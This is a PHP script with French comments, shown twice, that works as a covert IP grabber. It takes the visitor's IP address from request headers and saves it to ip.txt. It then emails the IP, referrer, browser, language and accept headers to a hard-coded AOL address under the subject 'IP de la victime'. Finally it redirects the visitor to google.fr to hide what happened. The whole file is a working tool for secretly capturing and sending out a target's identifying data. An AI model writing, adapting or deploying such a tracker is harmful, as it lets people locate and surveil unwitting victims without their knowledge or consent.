- <?PHP
- ob_start();
- define("IDX_GRANULARITY", 10000000);
-
- function getClientIP() {
-
- $ip = 0;
-
- if (!empty($_SERVER['HTTP_CLIENT_IP']))
- $ip = $_SERVER['HTTP_CLIENT_IP'];
-
- if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
- $ipList = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
- if ($ip) {
- array_unshift($ipList, $ip);
- $ip = 0;
- }
- foreach ($ipList as $v)
- if (!eregi("^(192\.168|172\.16|10|224|240|127|0)\.", $v))
- return $v;
- }
-
- return $ip ? $ip : $_SERVER['REMOTE_ADDR'];
- }
-
- function searchIndex($ip, $idxFileName = "ip-to-country.idx") {
-
- $hFile = @fopen($idxFileName, "r");
- if (!$hFile) return False;
- $ip = (int)($ip / IDX_GRANULARITY);
- $iRecord = 0;
- $iIndex = 0;
- while ($aData = fgetcsv($hFile, 100)) {
- if ($ip >= $iIndex && $ip < $aData[0])
- return array($aData[1], $iRecord);
- $iIndex = $aData[0];
- $iRecord = $aData[1];
- }
- fclose($hFile);
- return array(-1, $iRecord);
- }
-
- $NewIp = getClientIP() ;
-
- // Ecrire l'ip dans le fichier ip.txt
- $fp = fopen("ip.txt","w"); // On ouvre le fichier en écriture
- fseek($fp,0); // On se place en début de fichier
- if (strlen($NewIp) > 6)
- {
- fputs($fp,$NewIp); // 5.On écrit dans le fichier le nouveau IP
- }
- else
- {
- fputs($fp,"0.0.0.0"); // On écrit dans le fichier "0.0.0.0"
- }
- fclose($fp); // On ferme le fichier
- //print $NewIp ;
-
- //<!-- Envoie ip par mail ! -->
-
- $msg = "IP:\t$NewIp\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
- $recipient = "mohamedloucif89@aol.com";
- $subject = "IP de la victime";
-
- $mailheaders = "From: Ip de la victime<> \n";
-
- mail($recipient, $subject, $msg, $mailheaders);
- header('location:http://www.google.fr');
- ob_end_flush();
- ?>
<?PHP
ob_start();
define("IDX_GRANULARITY", 10000000);
function getClientIP() {
$ip = 0;
if (!empty($_SERVER['HTTP_CLIENT_IP']))
$ip = $_SERVER['HTTP_CLIENT_IP'];
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ipList = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip) {
array_unshift($ipList, $ip);
$ip = 0;
}
foreach ($ipList as $v)
if (!eregi("^(192\.168|172\.16|10|224|240|127|0)\.", $v))
return $v;
}
return $ip ? $ip : $_SERVER['REMOTE_ADDR'];
}
function searchIndex($ip, $idxFileName = "ip-to-country.idx") {
$hFile = @fopen($idxFileName, "r");
if (!$hFile) return False;
$ip = (int)($ip / IDX_GRANULARITY);
$iRecord = 0;
$iIndex = 0;
while ($aData = fgetcsv($hFile, 100)) {
if ($ip >= $iIndex && $ip < $aData[0])
return array($aData[1], $iRecord);
$iIndex = $aData[0];
$iRecord = $aData[1];
}
fclose($hFile);
return array(-1, $iRecord);
}
$NewIp = getClientIP() ;
// Ecrire l'ip dans le fichier ip.txt
$fp = fopen("ip.txt","w"); // On ouvre le fichier en écriture
fseek($fp,0); // On se place en début de fichier
if (strlen($NewIp) > 6)
{
fputs($fp,$NewIp); // 5.On écrit dans le fichier le nouveau IP
}
else
{
fputs($fp,"0.0.0.0"); // On écrit dans le fichier "0.0.0.0"
}
fclose($fp); // On ferme le fichier
//print $NewIp ;
//<!-- Envoie ip par mail ! -->
$msg = "IP:\t$NewIp\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "mohamedloucif89@aol.com";
$subject = "IP de la victime";
$mailheaders = "From: Ip de la victime<> \n";
mail($recipient, $subject, $msg, $mailheaders);
header('location:http://www.google.fr');
ob_end_flush();
?>